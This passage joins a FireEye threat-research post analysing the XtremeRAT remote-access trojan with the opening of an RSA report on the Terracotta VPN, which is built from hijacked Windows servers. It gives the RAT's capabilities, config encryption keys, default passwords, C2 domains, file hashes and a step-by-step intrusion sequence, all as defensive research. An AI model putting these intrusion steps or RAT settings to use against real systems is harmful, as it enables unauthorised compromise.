thus attract novices. They are used for a variety of criminal activity, including sextortion. [ 1] The ubiquity of these RATs makes it difficult to determine if a particular security incident is related to a targeted threat, cybercrime or just a novice script kiddie causing a nuisance. Although publicly available RATs are used by a variety of operators with different intents, the activity of particular threat actors can still be tracked by clustering command and control server information as well as the information that is set by the operators in the builder. These technical indicators, combined with context of an incident (such as the timing, specificity and human activity) allow analysts to assess the targeted or non-targeted nature of the threat. In this post, we examine a publicly available RAT known as XtremeRAT. This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware. Why have these traditional cybercrime operators begun to distribute RATs? This seems odd, considering RATs require manual labor as opposed to automated banking Trojans. Based on our observations we propose one or more of the following possible explanations: 1. Smokescreen The operations may be part of a targeted attack that seeks to disguise itself and its possible targets, by using spam services to launch the attacks. 2. Less traditional tools available With more crimeware author arrests and/or disappearance of a number of banking Trojan developers, cybercriminals are resorting to using RATs to manually steal data, such as banking and credit card details. [ 2] 3. Complicated defenses require more versatile tools As many traditional banking and financial institutions have improved their security practices, perhaps attackers have had a much more difficult time developing automation in their Trojans to cover all variations of these defenses as such, RATs provide more versatility and effectiveness, at the expense of scalability. 4. Casting a wider net After compromising indiscriminate targets, attackers may dig deeper into specific targets of interest and/or sell off the access rights of the victims systems and their data to others. These possible explanations are not mutually exclusive. One or all of them may be factors in explaining this observed activity. XtremeRAT The XtremeRAT was developed by xtremecoder and has been available since at least 2010. Written in Delphi, the code of XtremeRAT is shared amongst several other Delphi RAT projects including SpyNet, CyberGate, and Cerberus. The RAT is available for free however, the developer charges 350 Euros for the source code. Unfortunately for xtremecoder, the source code has been leaked online. The current version is Xtreme 3.6, however, there are a variety of private version of this RAT available as well. As such, the official version of this RAT and its many variants are used by a wide variety of actors. XtremeRAT allows an attacker to: Interact with the victim via a remote shell Upload/download files Interact with the registry Manipulate running processes and services Capture images of the desktop Record from connected devices, such as a webcam or microphone Moreover, during the build process, the attacker can specify whether to include keylogging and USB infection functions. Extracting Intelligence XtremeRAT contains two components: a client and a server however, from the attackers perspective, these terms have reversed meanings. Specifically, according to the author, the server component is the malware that resides on victim endpoints that connect to the client, which is operated by the attacker from one or more remote command-and-control (CnC) systems. Due to this confusing and overloaded terminology, we refer to the server as a backdoor on the victim and the client as a remote controller operated by the attacker. XtremeRAT backdoors maintain and reference configuration data that was chosen by the attacker at the time they were built. This data can contain very useful hints to help group attacks and attribute them to actors, similar to what we have previously described in our Poison Ivy whitepaper. [ 3] Several versions of XtremeRAT write this configuration data to disk under APPDATA\Microsoft\Windows, either directly, or to a directory named after mutex configured by the attacker. When written to disk, the data is RC4 encrypted with a key of either CYBERGATEPASS or CONFIG for the versions we have analyzed. In both cases, the key is Unicode. The config file has either a .nfo or .cfg extension depending on the version. XtremeRATs key scheduling algorithm (KSA) implementation contains a bug wherein it only considers the length of the key string, not including the null bytes between each character, as is found in these Unicode strings. As a result, it only effectively uses the first half of the key. For example, the key C\x00O\x00N\x00F\x00I\x00G\x00 is 12 bytes long, but the length is calculated as only being 6 bytes long. Because of this, the key that is ultimately used is C\x00O\x00N\x00. The configuration data includes: Name of the installed backdoor file Directory under which the backdoor file is installed Which process it will inject into (if specified) CnC information FTP information for sending stolen keystroke data to Mutex name of the master process, ID and group name which are used by the actors for organizational purposes Because the decrypted configuration data can be reliably located in memory (with only slight variations in its structure from version to version) and because not all versions of XtremeRAT will write their configuration data to disk, parsing memory dumps of infected systems is often the ideal method for extracting intelligence. We are releasing python scripts we have developed to gather the configuration details for various versions of XtremeRAT from both process memory dumps and the encrypted configuration file on disk. The scripts are available at https://github.com/fireeye/tools/tree/master/malware/Xtreme20RAT. Also included in this toolset is a script that decrypts and prints the contents of the log file created by https://github.com/fireeye/tools/tree/master/malware/Xtreme20RAT XtremeRAT containing victim keystroke data. This log file is written to the same directory as the config file and has a .dat extension. Curiously, this log file is encrypted with a simple two-byte XOR instead of RC4. Later in this blog, we will share some of the configuration details we have extracted during our subsequent analysis. XtremeRAT Activity Using telemetry from the FireEye Dynamic Threat Intelligence (DTI) cloud, we examined 165 XtremeRAT samples from attacks that primarily hit the following sectors: Energy, utilities, and petroleum refining Financial Services High-tech These incidents include a spectrum of attacks including targeted attacks as well as indiscriminate attacks. Among these XtremeRAT-based attacks, we found that 4 of the 165 samples were used in targeted attacks against the High-Tech sector by threat actors we have called MoleRats. [ 4] Operation Molerats In 2012, XtremeRAT was used against a variety of governments as well as Israeli and Palestinian targets in what was known as Operation Molerats (the same attackers have also used variants of the Poison Ivy RAT). [ 5] Upon executing one particular sample (45142b17abd8a17a5e38305b718f3415), the malware beacons to test.cable-modem.org and idf.blogsite.org. In this particular case, the attacker used XtremeRAT 2.9 within a self-extracting archive that also presents a decoy document to the victim, where the decoy content appears to have been copied from a website. Figure 1. Contents of SFX archive containing XtremeRAT http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr1.png Figure 2. SFX settings inside malicious archive http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr2.png Figure 3. Decoy content presented in malicious archive Figure 4 shows the controller the attacker uses to interact with systems compromised with XtremeRAT. In this case, it appears the actor used the ID field to record the type of attack delivered (docx) and the Group field was used to record a campaign code (IDF), which helps the actor keep track of the set of victims that were attacked during this campaign. http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr3.png Figure 4. XtremeRAT controller GUI The attacker modified the highlighted information at build time. By default, the XtremeRAT controller sets the ID field as Server and Group field as Servers, with the default password used to authenticate, connect, and control a compromised endpoint as 1234567890. http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr4.png Figure 5. XtremeRAT controller connection settings In the Figure 5, the attacker specified custom CnC servers and ports and changed the default password to 1411. The attacker also changed the default process mutex name. http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr5.png Figure 6. XtremeRat install settings By default, the controller assigns a process mutex name of is ((Mutex)) and the attackers changed it to fdgdfdg. These indicators along with command and control domain names and the IP addresses that they resolve to can be used to cluster and track this activity over time. http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr6.png Figure 7. Molerats cluster analysis This is a cluster of Molerats activity. In addition to using the password 1411, the attackers are also using the password 12345000. This is a simple way to track the activity of these actors by using both passive DNS data and configuration information extracted from XtremeRAT. Spam Activity The vast majority of XtremeRAT activity clustered around the default password 1234567890 (116 samples). There was overlap between this large cluster and the second largest one which used the password 123456 (12 samples). The activity in these two clusters aligns with indicators observed in Spanish language spam runs. The 123456 cluster also contains spam in the English language, leveraging the recent tragedy in Kenya as a lure. [ 7] The Uranio Cluster In our sample set, we have 28 malware samples that connect to a set of sequentially numbered command http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr7.png and control servers: uranio.no-ip.biz uranio2.no-ip.biz uranio3.no-ip.biz uranio4.no-ip.biz uranio5.no-ip.biz uranio6.no-ip.biz uranio7.no-ip.biz platino.no-ip.biz platino-2.no-ip.biz platino-4.no-ip.biz platino-5.no-ip.biz platino-8.no-ip.biz platino-9.no-ip.biz cometa3.no-ip.biz cometa4.no-ip.biz The malware is being spammed out and has file names such as: Certificaciones De Pagos Nominas Parafiscales jpg 125420215 58644745574455 .exe Soportes de pagos certificaciones y documentos mes mayo 30 2013 567888885432235678888888123456.exe Certificaciones De Pago Y Para Fiscales.exe We extracted the configurations for a sampling of the XtremeRAT samples we came across in this spam run and found the following results: MD5 ID Group Version Mutex a6135a6a6346a460792ce2da285778b1 ABRIL CmetaS3 3.6 Private C5AapWKh 988babfeec5111d45d7d7eddea6daf28 ABRIL CmetaS3 3.6 Private C5AapWKh 715f54a077802a0d67e6e7136bcbe340 ABRIL CmetaS3 3.6 Private C5AapWKh 167496763aa8d369ff482c4e2ca3da7d ABRIL CmetaS3 3.6 Private C5AapWKh 3f288dfa95d90a3cb4503dc5f3d49c16 Server Cometa4 3.6 Private 4QtgfoP 6a8057322e62c569924ea034508068c9 Server Platino4 3.6 Private mbojnXS 37b90673aa83d177767d6289c4b90468 Server Platino4 3.6 Private mbojnXS 98fb1014f6e90290da946fdbca583334 Server Platino8 3.6 Private G7fjZQYAH 5a9547b727f0b4baf9b379328c797005 Server Platino8 3.6 Private G7fjZQYAH fb98c8406e316efb0f46024f7c6a6739 Server Platino9 3.6 Private kUHwdc8Y 64f6f819a029956b8aeafb729512b460 Server Uranio 3.6 Private eYwJ6QX0i a4c47256a7159f9556375c603647f4c2 Mayo Uranio2011 3.6 Private 0pg6ooH 62d6e190dcc23e838e11f449c8f9b723 Mayo Uranio2011 3.6 Private 0pg6ooH d5d99497ebb72f574c9429ecd388a019 Mayo Uranio2011 3.6 Private 0pg6ooH 3a9237deaf25851f2511e355f8c506d7 Server Uranio3 1.3.6.16 QwcgY0a c5e95336d52f94772cbdb2a37cef1d33 Server Uranio3 1.3.6.16 QwcgY0a 0ea60a5d4c8c629c98726cd3985b63c8 Server Uranio4 1.3.6.16 xjUfrQHP6Xy 41889ca19c18ac59d227590eeb1da214 Server Uranio4 1.3.6.16 xjUfrQHP6Xy 90e11bdbc380c88244bb0152f1142aff Server Uranio4 1.3.6.16 xjUfrQHP6Xy c1ad4445f1064195de1d6756950e2ae9 Server Uranio5 3.6 Private R9lmAhUK e5b781ec77472d8d4b3b4a4d2faf5761 Server Uranio6 3.6 Private KdXTsbjJ6 a921aa35deedf09fabee767824fd8f7e Server Uranio6 3.6 Private KdXTsbjJ6 9a2e510de8a515c9b73efdf3b141f6c2 CC Uranio7 3.6 Private UBt3eQq0 a6b862f636f625af2abcf5d2edb8aca2 CC Uranio7 3.6 Private iodjmGyP3 0327859be30fe6a559f28af0f4f603fe CC Uranio7 3.6 Private UBt3eQq0 Server, Servers, and ((Mutex)) are the defaults in the XtremeRAT controller for ID, Group, and Mutex respectively. The random mutex names in the table above can be generated by double-clicking in the Mutex field within the controller. In most cases, the number at the end of the group label is the same number used at the end of the subdomain for the CnC. In the case of Uranio2011, the subdomain is simply uranio and 2011 represents the port number used to communicate with the CnC infrastructure. Figure 8. Portugese version of XtremeRAT controller Uranio Sinkhole Analysis We sinkholed uranio2.no-ip.biz between November 22, 2013 and January 6, 2014. During that time, 12000 unique IPs connected to the uranio2.no-ip.biz. Recall, that this number reflects only one of many command and control servers. [ 8] However, estimating the number of victims this way is difficult due to DHCP lease times, which inflate the numbers, and NAT connections, which deflate the numbers. [ 9] As such, we counted the unique IP addresses that connected to the sinkhole on each day. The highest number of connections to this sinkhole was on Dec. 3, 2013 with 2003 connections and the lowest was Jan. 6, 2014 with 109 connections. The average number of unique IP addresses that connected to the sinkhole per day was 657. While these IP addresses were in ranges assigned to 40 distinct countries, the vast majority of the connections to the sinkhole (92.7 percent) were from Colombia. Argentina was a distant second with 1.22 percent, followed by Venezuela with 1.02 percent, Egypt with 0.95 percent and the U.S. with 0.9 percent. Conclusion Determining the activity of targeted threat actors is difficult. Most of the activity associated with publicly http://www.fireeye.com/blog/wp-content/uploads/2014/02/xtr8.png available RATs is traditional cybercrime associated with spam runs, banking Trojans and malware distribution. However, useful indicators can be extracted from these ubiquitous RATs to track the activities of targeted threat actors (as well as cybercrime). Tools https://github.com/fireeye/tools/tree/master/malware/Xtreme20RAT Notes: 1. http://arstechnica.com/tech-policy/2013/09/miss-teen-usas-webcam-spy-called-himself- cutefuzzypuppy/ http://arstechnica.com/tech-policy/2011/09/how-an-omniscient-internet-sextortionist- ruined-lives/ 2. The group behind the Carberp banking Trojan were arrested http://www.techweekeurope.co.uk/news/carberp-botnet-leader-arrested-112205, the author of Zeus retired, http://krebsonsecurity.com/2010/10/spyeye-v-zeus-rivalry-ends-in-quiet-merger/, the author of SpyEye went into hiding http://www.xylibox.com/2012/03/behind-spyeye-gribodemon.html and was recently arrested http://www.wired.com/threatlevel/2014/01/spy-eye-author-guilty-plea/, FBI and Microsoft have gone after Citadel which is not off the market https://blogs.rsa.com/citadels-steward- banned-from-undergorund-venues/ http://www.microsoft.com/en-us/news/press/2013/jun13/06- 05dcupr.aspx and an overview of the Big 4 banking Trojans http://blog.kaspersky.com/the-big-four- banking-trojans/ 3. http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf 4. http://www.fireeye.com/blog/technical/2013/08/operation-molerats-middle-east-cyber-attacks-using- poison-ivy.html 5. http://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-on-usisrael-and- other-foreign-governments/ http://download01.norman.no/whitepapers/Cyberattack_against_Israeli_and_Palestinian_targets.pdf http://www.fireeye.com/blog/technical/2013/08/operation-molerats-middle-east-cyber-attacks-using- poison-ivy.html 6. http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alertId30825 7. http://www.symantec.com/connect/blogs/spammers-use-kenya-terrorist-attack-spread-malware 8. We filtered out all non-XtremeRAT traffic and ensured that each of the 12000 IPs attempted to make an XtremeRAT connection. https://github.com/fireeye/tools/tree/master/malware/Xtreme20RAT 9. https://www.usenix.org/legacy/event/hotbots07/tech/full_papers/rajab/rajab.pdf This entry was posted in Threat Intelligence, Threat Research by Nart Villeneuve and James T. Bennett. Bookmark the permalink. http://www.fireeye.com/blog/category/technical/threat-intelligence http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/author/narottama-villeneuve http://www.fireeye.com/blog/author/james-t-bennett http://www.fireeye.com/blog/technical/2014/02/xtremerat-nuisance-or-threat.html RSA Research RSA RESEARCH TERRACOTTA VPN Enabler of Advanced Threat Anonymity August 4, 2015 2 Content and liability disclaimer This Research Paper is for general information purposes only, and should not be used as a substitute for consultation with professional advisors. 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August 4, 2015 3 EXECUTIVE SUMMARY .......................................................................... 5 BACKGROUND ...................................................................................... 5 WHAT IS TERRACOTTA VPN? ................................................................ 5 TERRACOTTA VPN COMPONENTS .......................................................... 6 BEHIND THE TERRACOTTA NODES ....................................................... 7 BEHIND TERRACOTTA NODES: THE VICTIMS ........................................ 9 TERRACOTTA WINDOWS SERVER ENLISTMENT MODUS OPERANDI ...... 9 THE ECONOMICS OF HACKING FOR A PROFIT .................................... 10 VPN NODES THAT DONT LOOK LIKE VPN NODES ............................ 11 WHO USES TERRACOTTA VPN? ........................................................... 12 SUSPECTED NATION STATE SPONSORED CAMPAIGNS LEVERAGING TERRACOTTA VPN .............................................................................. 12 TERRACOTTA VPN LEVERAGED FOR PHISHING AND ATTEMPTED EXPLOITATION OF A DEFENSE CONTRACTOR ..................................... 12 SHELL_CREW ..................................................................................... 14 TERRACOTTA VPN BREAKDOWN ......................................................... 15 DETECTION ........................................................................................ 15 DETECTING NODE ENLISTMENT ACTIVITY ......................................... 15 DETECTING NODE USE IN ATTACKS .................................................... 15 DETECTING USE OF TERRACOTTA VPN RESOURCES ............................ 16 DETECTING TERRACOTTA ASSOCIATED MALWARE ............................. 16 DETECTING TERRACOTTA ACTIVITY IN RSA SECURITY ANALYTICS AND RSA ECAT ........................................................................................... 23 DETECTING TERRACOTTA MALWARE USING RSA SECURITY ANALYTICS AND ECAT ........................................................................................... 25 PREVENTION ...................................................................................... 32 ATTRIBUTION AND PATTERN OF LIFE ................................................ 32 CONCLUSIONS ................................................................................... 33 4 APPENDIX .......................................................................................... 33 AVAILABLE TO INDUSTRY PARTNERS UPON REQUEST ....................... 33 AUTHORS ........................................................................................... 33 5 EXECUTIVE SUMMARY In this report, RSA Research explores in depth a malware-supported VPN network, known internally to RSA as Terracotta. Terracotta is an active launch-platform for APT activities of Shell_Crew / DeepPanda and other APT actors, used to obscure the origins of the threat actors malicious activities. It is ensnaring a new class of victims (legitimate commercial and government entities, unknowinly serving VPN nodes and bandwith) into larger-scale APT cases. Fortunately, enlistment in the Terracotta network is readily preventable by using well-established cybersecurity practices. Detection and mitigation for enlisted systems is also quite feasible. Terracotta is commercially marketed in the Peoples Republic of China (PRC) under several different brand names. VPN services are quite marketable in China as a means to anonymously traverse government internet censorship. Terracottas malicious methods for acquiring nodes and theft of bandwidth likely derives substantial cost-savings for its operators. Having provided Terracotta VPN indicators to trusted partners, RSA has received multiple reports of (and since observed) suspected nation-state sponsored campaign activity originating from Terracotta VPN IP addresses. Targets appear to have included Western governments and several commercial entities. By using Terracotta VPN, advanced threat actors appear to originate from seemingly benign sources. Blocking, restricting, or detecting by IP address indicators is difficult because new nodes (hosted in legitimate organizations) are being continuously added. This report by RSA Research may represent the first exposure of a PRC-based VPN operation that maliciously, efficiently and rapidly enlists vulnerable servers around the world. It is the first time RSA Research has seen Shell_Crew / DeepPanda and other similar APT actors using such networks for anonymization and obfuscation. BACKGROUND Virtual Private Networks (VPN) are very popular. They are part and parcel for almost every enterprise network, especially those with remote employees. Aside from VPNs for enterprises, there are many reputable commercial VPN services that offer low-cost, reliable service to individual users. These users employ VPNs for reasons that might include connection security, protection of private data, online gaming acceleration, and bypassing service provider restrictions. VPNs are also used by cyber criminals, as it allows them to obscure their true source location. When a commercial VPN service provider uses resources such as servers and copious bandwidth stolen or repurposed from unsuspecting victims for purposes of profit, analysis and reporting are in order. In this report, RSA Research exposes one such operator doing business with multiple VPN brand names marketed primarily in the Peoples Republic of China (PRC). Operating with more than 1500 end nodes around the world, RSA Research has confirmed that at least thirty of the host systems are compromised Windows servers that were harvested without the victims knowledge or permission. The operators behind Terracotta VPN continue their broad campaign to compromise multiple victim organizations around the world. RSA Research is reporting on the associated VPN operator because: There is evidence of compromise of multiple victim organization systems around the world, There is evidence of illicit installation of software and malicious remote access tools on the victims servers, and There is evidence of theft of victims resources and bandwidth to serve clients (including advanced threat actors) with a high-performance anonymity service. NOTE: There are two classes of victims described and referred to in this report. Most of the references to victims are of those unknowingly enlisted into the Terracotta VPN service, as outlined above. A second class of victims, APT targets, have been targeted by other actors who are using Terracotta for anonymization and obfuscation. Throughout this report, we specificly refer to APT-victims accordingly, while leaving the generic victim designation for the Terracotta nodes. WHAT IS TERRACOTTA VPN? Terracotta VPN is the name used by RSA Research to describe the dynamically-maintained conglomerate of multiple VPN brand names marketed on Chinese-language websites. The websites are principally linked by common domain name registrant email addresses and are often hosted on the same infrastructure with the same basic web content. 6 TERRACOTTA VPN COMPONENTS There are several high-level components to the Terracotta VPN system. WEBSITES: The most visible Terracotta VPN components are the websites that market the service and the specific brands associated with Terracotta VPN. VPN users can download the software clients, obtain trial credentials, change credentials for their paid accounts, and add credit to paid accounts from these websites. CLIENT SOFTWARE: The client software is another common Terracotta VPN element. The client interfaces are skinned with images and logos consistent with their corresponding websites. The client software is principally developed by a legitimate software vendor, according to the applications file properties and indicative by the domains contacted by the client when the user logs-in. CLIENT SOFTWARE AUTHENTICATION: Closely-tied to the client software is the central client authentication system, by which clients use credentials to authenticate into the client software. Upon successful login, the client software will check for updates and download the latest set of global VPN nodes. COMMON VPN NODES: The dynamic set of 1500 VPN nodes is another component. These nodes are shared among most of the Terracotta VPN brands and, most notably, link the different elements of the Terracotta VPN ecosystem. The roster of nodes is updated by the various software clients during each login sequence. Figure 1 illustrates the relationships between the Terracotta VPN components and the client VPN-tunneling sequence. USER AUTHENTICATION The final component is the central Radius-compatible, Internet Authentication Service (IAS) directory that authenticates the user account credentials with the VPN node. The steps are: 1. The Terracotta user establishes an account obtains credentials and client software from one of the Terracotta brand websites. 2. The user signs into the client UI, which authenticates the client credentials against the central client authentication system. 3. The software client will then populate with an updated roster of VPN nodes. 4. Once the user selects a VPN node, the node will authenticate the user credentials with the distributed IAS directory. 5. Following successful authentication, the Point-to-Point Tunneling Protocol (PPTP) or Layer-Two Tunneling Protocol (L2TP) session is established. At this point the user has successfully tunneled to the Internet through the Terracotta VPN end point. Figure 1. How Terracotta VPN Works 7 BEHIND THE TERRACOTTA NODES Where do the various Terracotta VPN providers obtain the resources to build such a vast VPN network? Out of 1500 common VPN nodes, it is possible that some servers or appliances were legitimately obtained and leased by the Terracotta VPN operators. We will describe how others were clearly compromised. RSA Research proposes three possible candidates (three devices) encompassing 557 IP addresses. We believe these devices are the best possible candidates for legitimate lease by the Terracotta VPN perpetrators for the following reasons: 1. Massive multi-homing: The minimum quantity of IP addresses per suspected-legitimately-leased-device is 51. Terracotta services are marketed as very cost-effective, offering availability of a large VPN network for approximately 3/month. Massive multi-homing of a single device is apparently a method for inflating the appearance of the network. A Terracotta VPN client pings and displays all available nodes, noting both the date each node came online and its current response- time. However, while the network may appear to offer multiple new nodes on a given day, nodes with the same enlistment date and similar response-times actually indicate a multi-homed device. Further, network analysis shows the VPN clients usually connect to only a single IP address assigned to each massively multi-homed device. This may result in lower maintenance overhead, and indicates that the Terracotta VPN operator knows full-well that there is just one device behind the large pool of available nodes. And while there is no performance benefit from having the VPN clients ping multiple IP addresses from the same devices, doing so perpetuates the illusion of a larger network than what exists. When connecting to each of the nodes depicted in the client UI below (several nodes reflecting one of three multi-homed devices RSA Research has identified) the exit IP addresses are randomly assigned from the large pool of available IP addresses. Figure 2. Screenshot of Terracotta client app, listing multi-homed nodes 8 2. No public services other than PPTP VPN. In instances where RSA Research has confirmed the compromise of an organization, the victim organizations used their Internet-facing servers for various use cases, none of which included VPN or Windows Remote Access services. If these were compromised devices, we would expect the devices to be used by their legitimate owners for other purposes prior to being enlisted as Terracotta VPN nodes. If, on the other hand, a legitimate VPN provider was compromised, we expect the operators to have noticed that their authentication process and client-base had been hijacked. Figure 3. RDP Login banner associated with possibly leased Terracotta VPN node A login splash screen (Figure 3) associated with the device with hostname 3819027EEA6E42F indicates the use of Windows Server 2003 Enterprise x64 Server, with Simplified Chinese locale or Chinese language pack. The latter would be the Windows locale most-commonly used by mainland PRC or Singapore residents. 9 BEHIND TERRACOTTA NODES: THE VICTIMS All of the compromised systems, confirmed through victim-communication by RSA Research, are Windows servers. RSA Research suspects that Terracotta is targeting vulnerable Windows servers because this platform includes VPN services that can be configured quickly (in a matter of seconds). While most of the Terracotta victims are smaller organizations without dedicated security staff, large organizations were not immune to exploitation by the Terracotta perpetrators. Organizations with confirmed compromised Windows servers include: Fortune 500 hotel chain A department of transportation in a U.S. state High tech manufacturer Fortune 500 engineering firm University in Taiwan University in Japan State university in the U.S. County government of a U.S. state Prize indemnity insurance company Microsoft Windows enterprise management application developer Boutique IT service provider Charter school Educational service provider Law firm U.S. university-affiliated company Web design and SEO consultant Physicians office Unified Communications as a Service (UCaaS) provider Business-to-Consumer (B2C) applications developer Public Convention center in a U.S. city Wireless test and measurement solutions provider IT Value Added Reseller (VAR) and services provider IT solutions provider/contractor for federal and local government organizations The 23 organizations listed above represent at least 31 Windows server systems that were compromised and enlisted into Terracotta. TERRACOTTA WINDOWS SERVER ENLISTMENT MODUS OPERANDI A common trait shared with all confirmed victims is that they had Internet-exposed Windows servers without hardware firewalls. Additionally, for at least one victim with multiple servers exposed to the Internet, only those servers with the built-in Windows software firewall turned off were enlisted in the Terracotta VPN ecosystem. In one specific compromised system analyzed by RSA Research, the following sequence of events, shown in Figure 4, was noted prior to the system becoming a node in the Terracotta VPN ecosystem: 1 Brute force password attack on the Administrator user account, via DCOM Windows Management Interface (WMI) through TCP port 135. There are multiple security testing tools with this capability, including the popular CoreImpact python class wmiexe.py1. The brute force activity was done from an IP address we call the reconnaissance host which was recently observed performing port 135 scanning on the Internet, according to DShield2. 2 Remote connection using Administrator credentials from the reconnaissance host several hours later to disable the Windows Firewall and install the Telnet Service. Windows logs for this event sequence are consistent with those that would be recorded with use of standard remote administration tools available from Microsoft Management Console (MMC) via standard Windows Management Interface (WMI) protocols. 3 Login in via Remote Desktop (RDP) from a Windows system we call base host, with hostname WEI-270FBC26C38, originating from IP ranges in the vicinity of Dongguan, a suburb of Guangzhou, China. This happens within minutes of events in sequence number two. RSA Research has obtained forensic images indicating that this hostname was used for compromises and enlistment from January 2014 to June 2015. 1 https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py 2 http://dshield.org/ipdetails.html?ip58.162.xx.xx 10 4 From base host, uninstall Windows Defender and download and install custom Gh0st Remote Administration Tool (RAT) (dropper MD5: bccbba3ed45ead051f56fc62fef005a6) and/or custom Mitozhan RAT (MD5: 7b18614df95e71032909beb25a7b1e87) and a Windows backdoor shell daemon listening on port 3422 (MD5: 531d30c8ee27d62e6fbe855299d0e7de). 5 Creation of new Windows account (actual examples include mssql and krto) and addition of account to administrators group, from base host. 6 Days later, a login via RDP from base host in Dongguan, China using the account created in step five to install Network Policy and Access Services and Routing and Remote Access Services with custom remote access policy pointing at Terracotta Internet Authentication Services (IAS) servers. 7 Testing of Terracotta VPN centralized IAS authentication using testwj account from base host WEI-270FBC26C38. Figure 4. Terracotta VPN enlistment THE ECONOMICS OF HACKING FOR A PROFIT Why would a business need to hack servers for use in a VPN ecosystem, when Virtual Private Servers (VPS) are so readily and inexpensively available? Currently, high-quality VPSs with sufficient power for use as a VPN node can be leased for as little as 5.00 per month in the U.S. However, VPN traffic is more bandwidth-intensive than CPU-intensive. Since many VPS solutions provide a base-level of bandwidth and charge for overage, the cost of bandwidth for a VPN service such as Terracotta would significantly affect operating expenses. Even if the monthly recurring bandwidth costs of using VPS servers were ignored, the logistics of managing the contracts and payments with foreign and domestic providers would add significantly to the cost of operations. Conservatively, RSA Research counted more than 300 different organizations behind the 1500 nodes in the Terracotta VPN ecosystem. Hypothetical Discussion: If the servers were legitimate, at least 300 monthly international transactions would be required to maintain the network. A more-profitable and simpler (if not legitimate) model may be to ensnare a seemingly endless supply of vulnerable servers on the Internet. RSA Research proposes that the Terracotta VPN provider hacks and harvests VPN nodes because this process is not only cheaper, but logistically easier than running a complex accounts payable operation required to maintain a global 1500 node VPN ecosystem. 11 VPN NODES THAT DONT LOOK LIKE VPN NODES Several legitimate mainland PRC VPN providers were reviewed by RSA Research. These providers were consistent in that they ostensibly provided a list of all VPN IP addresses on their websites (Figure 5). A security analyst (or a content service provider with contractual restrictions on geographical distribution), would be able to enumerate hosts associated with the VPN provider and restrict accordingly. In contrast, if a portion of your exit IP addresses appear to be associated with legitimate businesses and cant be easily classified as VPN nodes, then you may attract a customer interested in obscuring its origin. The Terracotta-branded providers do not publish such lists. Their exit nodes remain largely unrestricted, an apparent differentiator. Figure 5. U.S. Nodes as displayed on a legitimate VPN service website 12 WHO USES TERRACOTTA VPN? To help characterize the Terracotta user base, RSA Research analyzed the Microsoft Remote Access Service (MSRAS) logs for a single Terracotta victim server for one month (Table 1). Unique successfully authenticated connections 118,948 Unique client IP addresses 9,053 Client IP Addresses in mainland PRC 8,903 (98) Client IP addresses not in mainland PRC 150 (2) Unique client account names 723 (most connections used trial accounts) Unique client host names 3,640 Table 1. Statistics from a month of logs on an enlisted Terracotta Node Clearly, most users of Terracotta appear to originate within mainland PRC, as is consistent with where the service is marketed. In addition to the APT activity that has been observed, RSA Research believes that use cases include Great Firewall traversal, anonymity, peer to peer (P2P) file sharing and gaming acceleration though this traffic analysis research is based on a limited number of network packet captures. Other (non-APT) criminal activity that may leverage Terracottas anonymity is possible, but has not been observed to date. The clients of Terracotta may be entirely unaware of the organizations methods for obtaining servers and bandwidth. SUSPECTED NATION STATE SPONSORED CAMPAIGNS LEVERAGING TERRACOTTA VPN Since providing Terracotta VPN indicators to trusted partners, RSA Research has received several reports of suspected nation-state sponsored campaign activity originating from Terracotta VPN IP addresses. RSA Research can confirm that suspected nation-state actors have leveraged at least 52 Terracotta VPN nodes for exploitation of sensitive targets among Western government and commercial organizations. Perhaps one of the benefits of using Terracotta for Advanced Threat Actors is that their espionage- related network traffic can blend-in with otherwise-legitimate VPN traffic. TERRACOTTA VPN LEVERAGED FOR PHISHING AND ATTEMPTED EXPLOITATION OF A DEFENSE CONTRACTOR RSA Research received a specific report from a large defense contractor concerning 27 different Terracotta VPN node IP addresses that were used to send phishing emails (Figure 6) targeting users in their organization. The phishing emails were simple HTML formatted emails with content pasted from legitimate online news articles. The HTML formatted emails were loaded with an intelligence-gathering tool known as a web bug3 that was specifically tailored to the recipient. 3 https://en.wikipedia.org/wiki/Web_bug 13 Figure 6. Redacted phishing email laden with web bug sent from Terracotta VPN node IP address An image reference in the email pointed to a website controlled by the actors that spoofed a popular Webmail provider. The image reference appeared to have been crafted so as to entice the target into logging into the phishing website with their legitimate credentials (Figure 7), thereby sending the targets webmail credentials directly to the malicious actors. Typically APT actors use the information they gather from web bugs and phishing to later perform highly targeted exploitation or intelligence collection on specific users who have met their criteria. Figure 7. Spoofed login page for major webmail provider, linked from phishing email 14 RSA Research investigated the domain infrastructure related to the phishing activity described above and enumerated related domains, as shown partially redacted in Table 2. The partial- and un-redacted domains below are representative of brands that are commonly spoofed for phishing purposes. All of these domains have been reported and are obvious spoofs. The domains we have redacted involve specific government and defense sector targets. These have been reported and the targets have been notified. Further details can be made available to industry partners. Domains directly related to defense contractor phishing from Terracotta VPN nodes weblogin-yahoo.com weblogin-vxxxxxx.net linkedinmember.com auth-vxxxxxx.com weblogin-live.com [10 related domains based on common hosting] Table 2. Terracotta-originating phishing campaign related domains SHELL_CREW As part of the investigation, RSA Research was able to track suspected Shell_Crew actors in their ongoing exploitation campaign of a sensitive network over several months. These actors connected to a Derusbi server variant beachhead on this target network. Out of the thirteen different IP addresses used during this campaign against this one (APT) target, eleven (85) were associated with Terracotta VPN nodes. At least in this months long campaign, we see advanced threat actors using Terracotta VPN infrastructure to obscure their origins and cover their tracks. For more information on these advanced threat actors, refer to the Shell_Crew report from the RSA Incident Response Team here: http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf 15 TERRACOTTA VPN BREAKDOWN A recent network node location breakdown of the Terracotta network indicates that a high percentage of nodes are in China, with secondary focus in the United States and South Korea. Additionally we see smaller quantities in other disparate locations. Figure 8. Geographic concentration of Terracotta VPN Nodes DETECTION Depending on what aspect of the attack you are looking for, detecting Terracotta VPN in your network will likely require a number of different detection methods and technologies. DETECTING NODE ENLISTMENT ACTIVITY If a host has been enlisted as a VPN node in the Terracotta network, the compromised 